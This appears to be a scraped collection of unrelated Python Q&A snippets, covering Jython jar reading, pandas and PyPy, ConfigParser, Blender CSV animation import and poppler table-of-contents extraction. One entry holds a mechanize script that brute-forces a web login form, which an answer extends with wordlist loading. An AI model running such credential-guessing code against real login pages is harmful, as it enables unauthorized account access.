I would like to know if the jarInputstream exists or can be use in Jython?
thanks
from java.net import URL
from java.util.jar import JarInputStream
jar_location = "file:///usr/share/java/libgcj-4.4.jar"
inStream = JarInputStream(URL(jar_location).openStream(), True)
# print an entry with max size
entry = max(iter(inStream.getNextJarEntry, None), key=lambda entry: entry.size)
print entry.name, entry.size
Output
gnu/javax/net/ssl/StaticTrustAnchors.class 92341
Related
I have this Python script that bruteforces a web-form (login) using itertools.
How would I replace the bruteforce/dictionary generation process with a load-passwords-from-wordlist.txt feature?
My code:
#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations("a-zA-Z",5)
r = br.open("http://example.com/login")
for x in combos:
br.select_form(nr = 0)
br.form['username'] = "my_username_123"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response = br.submit()
if response.geturl()!="http://example.com/login":
print "Correct password is ",''.join(x)
break
Something like this could be added so if a password file is present in the command line arguments it will use that instead of the pre-defined list.
Example: python script.py password.txt
import sys
import os
if len(sys.argv) > 1:
if os.path.exists(sys.argv[1]):
combos = [line.strip() for line in open(sys.argv[1])]
else:
print "[-] File not found"
sys.exit(0)
else:
combos = itertools.permutations("a-zA-Z",5)
I Have a Script for data extraction from some CSV files and bifurcating the Data into different excel files. I using Ipython for the that and I m sure it using CPython as the Default interpreter.
But the script is taking too much time for the whole process to finish. Can someone please help to how use that script using the PyPy as i heard it is much faster than CPython.
Script is something like this:
import pandas as pd
import xlsxwriter as xw
import csv
import pymsgbox as py
file1 = "vDashOpExel_Change_20150109.csv"
file2 = "vDashOpExel_T3Opened_20150109.csv"
path = "C:\Users\Abhishek\Desktop\Pandas Anlaysis"
def uniq(words):
seen = set()
for word in words:
l = word.lower()
if l in seen:
continue
seen.add(l)
yield word
def files(file_name):
df = pd.read_csv( path + '\\' + file_name, sep=',', encoding = 'utf-16')
final_frame = df.dropna(how='all')
file_list = list(uniq(list(final_frame['DOEClient'])))
return file_list, final_frame
def fill_data(f_list, frame1=None, frame2=None):
if f_list is not None:
for client in f_list:
writer = pd.ExcelWriter(path + '\\' + 'Accounts'+ '\\' + client + '.xlsx', engine='xlsxwriter')
if frame1 is not None:
data1 = frame1[frame1.DOEClient == client] # Filter the Data
data1.to_excel(writer,'Change',index=False, header=True) # Importing the Data to Excel File
if frame2 is not None:
data2 = frame2[frame2.DOEClient == client] # Filter the Data
data2.to_excel(writer,'Opened',index=False, header=True) # Importing the Data to Excel File
else:
py.alert('Please enter the First Parameter !!!', 'Error')
list1, frame1 = files(file1)
list2, frame2 = files(file2)
final_list = set(list1 + list2)
Does the Config file for the ConfigParser have to be named "Config.ini" in order to work?
I want the name to be "1Config.ini" so that it appears at the top of a folder dir.
This is what I have currently
config = ConfigParser.ConfigParser()
config.read(Revision[0:Revision.rfind('\\')] + "\1Config.ini")
Type = config.get("myvars", "Type")
I get this error however when the file and code is named "1Config.ini"
<class 'ConfigParser.NoSectionError'>: No section: 'myvars'
What's the output of the following? Make sure it's a valid file name.
>>> print Revision[0:Revision.rfind('\\')] + "\1Config.ini"
Ideally use os.path.join instead of concatenating strings:
import os
filename = os.path.join(Revision[0:Revision.rfind('\\')], "Config.ini")
config.read(filename)
You probably shouldn't name your variable Type, because type is a built-in function/module and it'd be confusing.
Type = config.get("myvars", "Type")
And no, config files can be named anything:
>>> a = ConfigParser.ConfigParser()
>>> a.read("E:/Documents/2012/config.test") # where config.test is the example from the documentation
['E:/Documents/2012/config.test']
>>> a.sections()
['My Section']
>>> a.items(a.sections()[0])
[('foodir', 'frob/whatever'),
('dir', 'frob'),
('long', 'this value continues\nin the next line')]
I want to know if it is possible to import data of attitude and position (roll/pitch/yaw & xyz) from a comma separated file to Blender?
I recorded data from a little RC car and I want to represent its movement in a 3D world.
I have timestamps too, so if there's a way to animated the movement of the object it'll be superb!!
Any help will be greatly appreciated!!
Best Regards.
A slight modifcation, making use of the csv module
import bpy
import csv
position_vectors = []
filepath = "C:\\Work\\position.log"
csvfile = open(filepath, 'r', newline='')
ofile = csv.reader(csvfile, delimiter=',')
for row in ofile:
position_vectors.append(tuple([float(i) for i in row]))
csvfile.close()
This will get your points into Blender. Note the delimiter parameter in csv.reader, change that accordingly. With a real example file of your RC car we could provide a more complete solution.
For blender v2.62:
If you have a file "positions.log" looking like:
-8.691985196313894e-002; 4.119284642631801e-001; -5.832147659661263e-001
1.037146774956164e+000; 8.137243553005405e-002; -5.703274929662892e-001
-3.602584527944123e-001; 8.378614512537046e-001; 2.615265921163826e-001
6.266465707681335e-001; -1.128416901202341e+000; -1.664644365541639e+000
3.327523280880091e-001; 4.488553740582839e-001; -2.449449085462368e+000
-7.311567199869298e-001; -1.860587923723032e+000; -1.297179602213110e+000
-7.453603745688361e-003; 4.770473577895327e-001; -2.319515785100494e+000
1.935170866863264e-001; -2.010280476717868e+000; 3.748000986190077e-001
5.201529166915653e-001; 3.952972788761738e-001; 1.658581747430548e+000
4.719198263774027e-001; 1.526020825619557e+000; 3.187088567866725e-002
you can read it with this python script in blender (watch out for the indentation!)
import bpy
from mathutils import *
from math import *
from bpy.props import *
import os
import time
# Init
position_vector = []
# Open file
file = open("C:\\Work\\position.log", "r")
# Loop over line in file
for line in file:
# Split line at ";"
splittet_line = line.split(";")
# Append new postion
position_vector.append(
Vector((float(splittet_line[0]),
float(splittet_line[1]),
float(splittet_line[2]))))
# Close file
file.close()
# Get first selected object
selected_object = bpy.context.selected_objects[0]
# Get first selected object
for position in position_vector:
selected_object.location = position
This reads the file and updates the position of the first selected object accordingly. Way forward: What you have to find out is how to set the keyframes for the animation...
Consider this python snippet to add to the solutions above
obj = bpy.context.object
temporalScale=bpy.context.scene.render.fps
for lrt in locRotArray:
obj.location = (lrt[0], lrt[1], lrt[2])
# radians, and do you want XYZ, or ZYX?
obj.rotation_euler = (lrt[3], lrt[4], lrt[5])
time = lrt[6]*temporalScale
obj.keyframe_insert(data_path="location", frame=time)
obj.keyframe_insert(data_path="rotation_euler", frame=time)
I haven't tested it, but it will probably work, and gets you started.
With a spice2xyzv file as input file. The script writed by "Mutant Bob" seems to work.
But the xyz velocity data are km/s not euler angles, I think, and the import does not work for the angles.
# Records are <jd> <x> <y> <z> <vel x> <vel y> <vel z>
# Time is a TDB Julian date
# Position in km
# Velocity in km/sec
2456921.49775 213928288.518 -446198013.001 -55595492.9135 6.9011736 15.130842 0.54325805
Is there a solution to get them in Blender? Should I convert velocity angle to euler, is that possible in fact?
I use this script :
import bpy
from mathutils import *
from math import *
from bpy.props import *
import os
import time
# Init
position_vector = []
# Open file
file = open("D:\\spice2xyzv\\export.xyzv", "r")
obj = bpy.context.object
temporalScale=bpy.context.scene.render.fps
for line in file:
# Split line at ";"
print("line = %s" % line)
line = line.replace("\n","")
locRotArray = line.split(" ")
print("locRotArray = %s" % locRotArray )
#for lrt in locRotArray:
print(locRotArray[1])
obj.location = (float(locRotArray[1]), float(locRotArray[2]), float(locRotArray[3]))
# radians, and do you want XYZ, or ZYX?
obj.rotation_euler = (float(locRotArray[4]), float(locRotArray[5]), float(locRotArray[5]))
time = float(locRotArray[0])*temporalScale
print("time = %s" % time)
obj.keyframe_insert(data_path="location", frame=time)
obj.keyframe_insert(data_path="rotation_euler", frame=time)
I see that pdf-viewers like okular and evince are able to display the index of a pdf document (book) very well, with link to every paragraph.
How can they do so? They use poppler library, how could I do extract that index with poppler, or in general?
it just stops at first level (recursion needed to go more deeply)
toc=document->toc();
QDomElement docElem = toc->documentElement();
QDomNode n = docElem.firstChild();
while(!n.isNull()) {
QDomElement e = n.toElement(); // try to convert the node to an element.
if(!e.isNull()) {
qDebug("elem %s\n",qPrintable(e.tagName())); // the node really is an element.
}
n = n.nextSibling();
}
Here is a demo how to do this with poppler in Python:
import poppler
def walk_index(iterp, doc):
while iterp.next():
link=iterp.get_action()
s = doc.find_dest(link.dest.named_dest)
print link.title,' ', doc.get_page(s.page_num).get_label()
child = iterp.get_child()
if child:
walk_index(child, doc)
def main():
uri = ("file:///"+path_to_pdf)
doc = poppler.document_new_from_file(uri, None)
iterp = poppler.IndexIter(doc)
link = iterp.get_action()
s = doc.find_dest(link.dest.named_dest)
print link.title,' ', doc.get_page(s.page_num).get_label()
walk_index(iterp, doc)
return 0
if __name__ == '__main__':
main()
python poppler library is obsolete, here is how to do it with Gobject:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# walk to table of contents and print titles and pages
import sys
from gi.repository import Poppler
def walk_index(iterp, doc):
while iterp.next():
link=iterp.get_action()
dest=doc.find_dest(link.goto_dest.dest.named_dest)
s = doc.get_page(dest.page_num-1)
print link.goto_dest.title, dest.page_num, s.get_label()
child = iterp.get_child()
if child:
walk_index(child, doc)
def main():
uri = ("file:///"+sys.argv[1])
doc = Poppler.Document.new_from_file(uri, None)
iterp = Poppler.IndexIter.new(doc)
link = iterp.get_action()
dest=doc.find_dest(link.goto_dest.dest.named_dest)
s = doc.get_page(dest.page_num-1)
print link.goto_dest.title, dest.page_num, s.get_label()
walk_index(iterp, doc)
return 0
if __name__ == '__main__':
main()